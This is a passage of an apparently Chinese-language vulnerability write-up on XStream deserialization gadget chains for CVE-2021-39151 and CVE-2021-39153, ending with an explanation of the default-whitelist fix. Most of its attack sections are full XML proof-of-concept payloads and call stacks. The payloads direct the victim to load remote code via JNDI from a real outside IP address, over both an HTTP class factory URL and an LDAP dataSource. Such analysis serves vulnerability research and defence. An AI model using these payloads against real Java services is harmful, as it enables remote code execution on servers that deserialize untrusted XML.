| getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) uncheckedTrigger:58, DTraceProbe (sun.tracing.dtrace) triggerProbe:269, ProviderSkeleton (sun.tracing) invoke:178, ProviderSkeleton (sun.tracing) invoke:82, CompositeInvocationHandlerImpl (com.sun.corba.se.spi.orbutil.proxy) hashCode:-1, $Proxy0 (com.sun.proxy) hash:338, HashMap (java.util) put:611, HashMap (java.util) putCurrentEntryIntoMap:107, MapConverter (com.thoughtworks.xstream.converters.collections)
|
特征:
这个链子大体和39144一样,主要是proxy的handler多封装了一层CompositeInvocationHandlerImpl
。那么开头触发proxy的方法也要从PQ到compareTo换成map到hashCode。最后的Sink点前面我们知道可以执行任意方法,而这里执行的是TemplatesImpl#getOutputProperties
- Source:map不带comparator
- dynamic-proxy,触发proxy.hashCode
- 代理接口:java.lang.Object或其他具有hashCode方法的接口
- Handler: com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl。可以当做是ProviderSkeleton的一个封装
- Sink:
sun.tracing.dtrace.DTraceProbe#uncheckedTrigger()
-> this.implementing_method.invoke(this.proxy, var1)
- method可控:成员变量
- var1可控:PQ的元素,从compareTo()方法传下来
- this.proxy可控
- 可调用任意类任意方法
- 触发点:
- TemplatesImpl#getOutputProperties
- …
CVE-2021-39151
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| <javax.swing.event.EventListenerList serialization="custom"> <javax.swing.event.EventListenerList> <default/> <string>java.lang.Class</string> <javax.swing.undo.UndoManager> <hasBeenDone>false</hasBeenDone> <alive>false</alive> <inProgress>false</inProgress> <edits> <com.sun.xml.internal.ws.api.message.Packet> <message class="com.sun.xml.internal.ws.api.message.MessageWrapper"> <delegate class="com.sun.xml.internal.ws.message.saaj.SAAJMessage"> <parsedMessage>true</parsedMessage> <accessedMessage>false</accessedMessage> <sm class="com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl"> <attachments serialization="custom"> <unserializable-parents/> <list> <default> <size>0</size> </default> <int>0</int> </list> </attachments> <saved>false</saved> <messageByteCount>0</messageByteCount> <multiPart class="com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart"> <parsed>false</parsed> <mm> <it class="com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator"> <aliases class="com.sun.jndi.toolkit.dir.ContextEnumerator"> <children class="javax.naming.directory.BasicAttribute$ValuesEnumImpl"> <list class="com.sun.xml.internal.dtdparser.SimpleHashtable"> <current> <hash>0</hash> <key class="javax.naming.Binding"> <isRel>false</isRel> <boundObj class="com.sun.jndi.ldap.LdapReferralContext"> <refCtx class="javax.naming.spi.ContinuationDirContext"> <cpe> <resolvedObj class="javax.naming.Reference"> <className>any</className> <addrs/> <classFactory>Evil</classFactory> <classFactoryLocation>http://101.132.159.30:7777/</classFactoryLocation> </resolvedObj> </cpe> </refCtx> <skipThisReferral>false</skipThisReferral> <hopCount>0</hopCount> </boundObj> </key> </current> <currentBucket>0</currentBucket> <count>0</count> <threshold>0</threshold> </list> </children> <currentReturned>true</currentReturned> <currentChildEnum> <currentReturned>false</currentReturned> <currentChildExpanded>false</currentChildExpanded> <rootProcessed>false</rootProcessed> <scope>0</scope> </currentChildEnum> <currentChildExpanded>false</currentChildExpanded> <rootProcessed>true</rootProcessed> <scope>2</scope> </aliases> </it> <parsed>false</parsed> <currentIndex>0</currentIndex> </mm> <soapPart> <parsed>false</parsed> </soapPart> </multiPart> <attachmentsInitialized>false</attachmentsInitialized> <isFastInfoset>false</isFastInfoset> <acceptFastInfoset>false</acceptFastInfoset> <optimizeAttachmentProcessing>false</optimizeAttachmentProcessing> <lazyAttachments>false</lazyAttachments> </sm> <bodyParts/> <soapVersion>SOAP_11</soapVersion> </delegate> </message> <wasTransportSecure>false</wasTransportSecure> <isAdapterDeliversNonAnonymousResponse>false</isAdapterDeliversNonAnonymousResponse> <packetTakesPriorityOverRequestContext>false</packetTakesPriorityOverRequestContext> <isFastInfosetDisabled>false</isFastInfosetDisabled> </com.sun.xml.internal.ws.api.message.Packet> </edits> <indexOfNextAdd>0</indexOfNextAdd> <limit>0</limit> </javax.swing.undo.UndoManager> <null/> </javax.swing.event.EventListenerList> </javax.swing.event.EventListenerList>
|
分析
(xxx对象当做字符串) -> StringBuilder.append -> String.valueOf -> xxx.toString
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| javax.swing.event.EventListenerList#readObject() javax.swing.event.EventListenerList#add javax.swing.undo.UndoManager#toString() javax.swing.undo.CompoundEdit#toString java.util.Vector#toString java.util.AbstractCollection#toString -> StringBuilder.append com.sun.xml.internal.ws.api.message.Packet#toString() com.sun.xml.internal.ws.api.message.MessageWrapper#copy() com.sun.xml.internal.ws.message.saaj.SAAJMessage#copy() com.sun.xml.internal.ws.message.saaj.SAAJMessage#getAttachments com.sun.xml.internal.ws.message.saaj.SAAJMessage$SAAJAttachmentSet#SAAJAttachmentSet com.sun.xml.internal.messaging.saaj.soap.MessageImpl#getAttachments() com.sun.xml.internal.messaging.saaj.soap.MessageImpl#initializeAllAttachments com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimeMultipart#getCount() com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parse com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parseAll com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#getAttachments() com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#parseAll com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#makeProgress KeyStoreIterator#hasNext() KeyStoreIterator#findNextCert com.sun.jndi.ldap.AbstractLdapNamingEnumeration#nextElement() com.sun.jndi.ldap.AbstractLdapNamingEnumeration#next com.sun.jndi.ldap.AbstractLdapNamingEnumeration#nextImpl com.sun.jndi.ldap.AbstractLdapNamingEnumeration#nextAux com.sun.jndi.ldap.LdapBindingEnumeration#createItem() javax.naming.spi.DirectoryManager#getObjectInstance() -> Evil.getObjectInstance()
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| getObjectInstance:189, DirectoryManager (javax.naming.spi) createItem:81, LdapBindingEnumeration (com.sun.jndi.ldap) createItem:40, LdapBindingEnumeration (com.sun.jndi.ldap) nextAux:269, AbstractLdapNamingEnumeration (com.sun.jndi.ldap) nextImpl:249, AbstractLdapNamingEnumeration (com.sun.jndi.ldap) next:203, AbstractLdapNamingEnumeration (com.sun.jndi.ldap) nextElement:106, AbstractLdapNamingEnumeration (com.sun.jndi.ldap) nextElement:40, AbstractLdapNamingEnumeration (com.sun.jndi.ldap) findNextCert:137, KeyStoreResolver$KeyStoreIterator (com.sun.org.apache.xml.internal.security.keys.storage.implementations) hasNext:104, KeyStoreResolver$KeyStoreIterator (com.sun.org.apache.xml.internal.security.keys.storage.implementations) makeProgress:180, MIMEMessage (com.sun.xml.internal.org.jvnet.mimepull) parseAll:167, MIMEMessage (com.sun.xml.internal.org.jvnet.mimepull) getAttachments:92, MIMEMessage (com.sun.xml.internal.org.jvnet.mimepull) parseAll:107, MimePullMultipart (com.sun.xml.internal.messaging.saaj.packaging.mime.internet) parse:118, MimePullMultipart (com.sun.xml.internal.messaging.saaj.packaging.mime.internet) getCount:195, MimeMultipart (com.sun.xml.internal.messaging.saaj.packaging.mime.internet) initializeAllAttachments:1379, MessageImpl (com.sun.xml.internal.messaging.saaj.soap) getAttachments:819, MessageImpl (com.sun.xml.internal.messaging.saaj.soap) <init>:650, SAAJMessage$SAAJAttachmentSet (com.sun.xml.internal.ws.message.saaj) getAttachments:178, SAAJMessage (com.sun.xml.internal.ws.message.saaj) copy:506, SAAJMessage (com.sun.xml.internal.ws.message.saaj) copy:217, MessageWrapper (com.sun.xml.internal.ws.api.message) toString:1093, Packet (com.sun.xml.internal.ws.api.message) valueOf:2994, String (java.lang) append:131, StringBuilder (java.lang) toString:462, AbstractCollection (java.util) toString:1000, Vector (java.util) valueOf:2994, String (java.lang) append:131, StringBuilder (java.lang) toString:258, CompoundEdit (javax.swing.undo) toString:621, UndoManager (javax.swing.undo) valueOf:2994, String (java.lang) append:131, StringBuilder (java.lang) add:187, EventListenerList (javax.swing.event) readObject:277, EventListenerList (javax.swing.event)
|
特征:
这里链子我觉得是整个2021CVE中最有意思的一条链子,基于2020-JNDI-LDAP,Source -> toString链不同,亮点在触发toString的部分,有点像PHP的__toString
。当一个java类重写了toString方法,那么当类在被当做字符串时(最常见的就是字符串连接),会触发该类toString方法,具体的调用栈是xxx对象当做字符串 -> StringBuilder.append(xxx对象) -> String.valueOf(xxx对象) -> xxx.toString
,所以只要连接上面的任意一环,都可以触发任意类的toString方法
CVE-2021-39153
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="com.sun.java.util.jar.pack.PackageWriter$2"> <outer-class> <verbose>0</verbose> <effort>0</effort> <optDumpBands>false</optDumpBands> <optDebugBands>false</optDebugBands> <optVaryCodings>false</optVaryCodings> <optBigStrings>false</optBigStrings> <isReader>false</isReader> <bandHeaderBytePos>0</bandHeaderBytePos> <bandHeaderBytePos0>0</bandHeaderBytePos0> <archiveOptions>0</archiveOptions> <archiveSize0>0</archiveSize0> <archiveSize1>0</archiveSize1> <archiveNextCount>0</archiveNextCount> <attrClassFileVersionMask>0</attrClassFileVersionMask> <attrIndexTable class="com.sun.javafx.fxml.BeanAdapter"> <bean class="com.sun.rowset.JdbcRowSetImpl" serialization="custom"> <javax.sql.rowset.BaseRowSet> <default> <concurrency>0</concurrency> <escapeProcessing>false</escapeProcessing> <fetchDir>0</fetchDir> <fetchSize>0</fetchSize> <isolation>0</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>false</readOnly> <rowSetType>0</rowSetType> <showDeleted>false</showDeleted> <dataSource>ldap://101.132.159.30:1389/Evil</dataSource> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default/> </com.sun.rowset.JdbcRowSetImpl> </bean> <localCache> <methods> <entry> <string>getDatabaseMetaData</string> <list> <method> <class>com.sun.rowset.JdbcRowSetImpl</class> <name>getDatabaseMetaData</name> <parameter-types/> </method> </list> </entry> </methods> </localCache> </attrIndexTable> <shortCodeHeader__h__limit>0</shortCodeHeader__h__limit> </outer-class> </comparator> </default> <int>3</int> <string-array> <string>diggid</string> <string>databaseMetaData</string> </string-array> <string-array> <string>diggid</string> </string-array> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
分析
1 2 3
| java.util.PriorityQueue#readObject() -> 设置comparator的 com.sun.java.util.jar.pack.PackageWriter$2#compare() com.sun.javafx.fxml.BeanAdapter#get() -> MethodUtil.invoke(method, obj, null) 无参public
|
1 2 3 4 5 6 7 8 9
| invoke:275, MethodUtil (sun.reflect.misc) get:212, BeanAdapter (com.sun.javafx.fxml) get:203, BeanAdapter (com.sun.javafx.fxml) compare:1019, PackageWriter$2 (com.sun.java.util.jar.pack) compare:1013, PackageWriter$2 (com.sun.java.util.jar.pack) siftDownUsingComparator:721, PriorityQueue (java.util) siftDown:687, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:795, PriorityQueue (java.util)
|
特征:
- Source:PriorityQueue。设置了
comparator
为PackageWriter$2
PackageWriter$2#compare()
- Sink:
com.sun.javafx.fxml.BeanAdapter#get()
-> MethodUtil.invoke(method, obj, null)
- method可控,但没setAccessible
- obj可控
- 第三个参数是null,无参
- 调用任意无参public
- 触发点:
- JdbcRowSetImpl#getDatabaseMetaData -> Jndi注入
- TemplatesImpl#getOutputProperties
- …
修复
https://x-stream.github.io/changes.html
这次的修复相较于之前的修复就比较绝了,我们知道,导致漏洞一直存在的原因就是内置的安全框架关闭,仅仅初始化几个默认黑名单和白名单,就一直存在漏网之鱼。而这次是直接默认开启内置安全框架了,之前也说过,该安全框架大部分基于白名单机制,基本恶意类都无法通过。
在调用new XStream初始化时会默认调用setupDefaultSecurity
方法来初始化安全框架,几种类型的Permission
- NoTypePermission:黑名单,不属于其他permission的话就放置在NoTypePermission中
- NullPermission:白名单,null类型
- PrimitiveTypePermission:白名单,基本类型
- ArrayTypePermission:白名单:数组类型
- InterfaceTypePermission:白名单,接口
- TypeHierarchyPermission:白名单,特定类及其子类。目前支持
Calendar Collection Map Entry Member Number Throwable TimeZone java.lang.Enum java.nio.file.Path
- ExplicitTypePermission:白名单,具体的类的集合
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| protected void setupSecurity() { if (this.securityMapper != null) { this.addPermission(NoTypePermission.NONE); this.addPermission(NullPermission.NULL); this.addPermission(PrimitiveTypePermission.PRIMITIVES); this.addPermission(ArrayTypePermission.ARRAYS); this.addPermission(InterfaceTypePermission.INTERFACES); this.allowTypeHierarchy(Calendar.class); this.allowTypeHierarchy(Collection.class); this.allowTypeHierarchy(Map.class); this.allowTypeHierarchy(Entry.class); this.allowTypeHierarchy(Member.class); this.allowTypeHierarchy(Number.class); this.allowTypeHierarchy(Throwable.class); this.allowTypeHierarchy(TimeZone.class); Class type = JVM.loadClassForName("java.lang.Enum"); if (type != null) { this.allowTypeHierarchy(type); }
type = JVM.loadClassForName("java.nio.file.Path"); if (type != null) { this.allowTypeHierarchy(type); }
Set types = new HashSet(); types.add(BitSet.class); types.add(Charset.class); types.add(Class.class); types.add(Currency.class); types.add(Date.class); types.add(DecimalFormatSymbols.class); types.add(File.class); types.add(Locale.class); types.add(Object.class); types.add(Pattern.class); types.add(StackTraceElement.class); types.add(String.class); types.add(StringBuffer.class); types.add(JVM.loadClassForName("java.lang.StringBuilder")); types.add(URL.class); types.add(URI.class); types.add(JVM.loadClassForName("java.util.UUID")); if (JVM.isSQLAvailable()) { types.add(JVM.loadClassForName("java.sql.Timestamp")); types.add(JVM.loadClassForName("java.sql.Time")); types.add(JVM.loadClassForName("java.sql.Date")); }
if (JVM.isVersion(8)) { this.allowTypeHierarchy(JVM.loadClassForName("java.time.Clock")); types.add(JVM.loadClassForName("java.time.Duration")); types.add(JVM.loadClassForName("java.time.Instant")); types.add(JVM.loadClassForName("java.time.LocalDate")); types.add(JVM.loadClassForName("java.time.LocalDateTime")); types.add(JVM.loadClassForName("java.time.LocalTime")); types.add(JVM.loadClassForName("java.time.MonthDay")); types.add(JVM.loadClassForName("java.time.OffsetDateTime")); types.add(JVM.loadClassForName("java.time.OffsetTime")); types.add(JVM.loadClassForName("java.time.Period")); types.add(JVM.loadClassForName("java.time.Ser")); types.add(JVM.loadClassForName("java.time.Year")); types.add(JVM.loadClassForName("java.time.YearMonth")); types.add(JVM.loadClassForName("java.time.ZonedDateTime")); this.allowTypeHierarchy(JVM.loadClassForName("java.time.ZoneId")); types.add(JVM.loadClassForName("java.time.chrono.HijrahDate")); types.add(JVM.loadClassForName("java.time.chrono.JapaneseDate")); types.add(JVM.loadClassForName("java.time.chrono.JapaneseEra")); types.add(JVM.loadClassForName("java.time.chrono.MinguoDate")); types.add(JVM.loadClassForName("java.time.chrono.ThaiBuddhistDate")); types.add(JVM.loadClassForName("java.time.chrono.Ser")); this.allowTypeHierarchy(JVM.loadClassForName("java.time.chrono.Chronology")); types.add(JVM.loadClassForName("java.time.temporal.ValueRange")); types.add(JVM.loadClassForName("java.time.temporal.WeekFields")); }
types.remove((Object)null); Iterator iter = types.iterator(); Class[] classes = new Class[types.size()];
for(int i = 0; i < classes.length; ++i) { classes[i] = (Class)iter.next(); }
this.allowTypes(classes); } }
|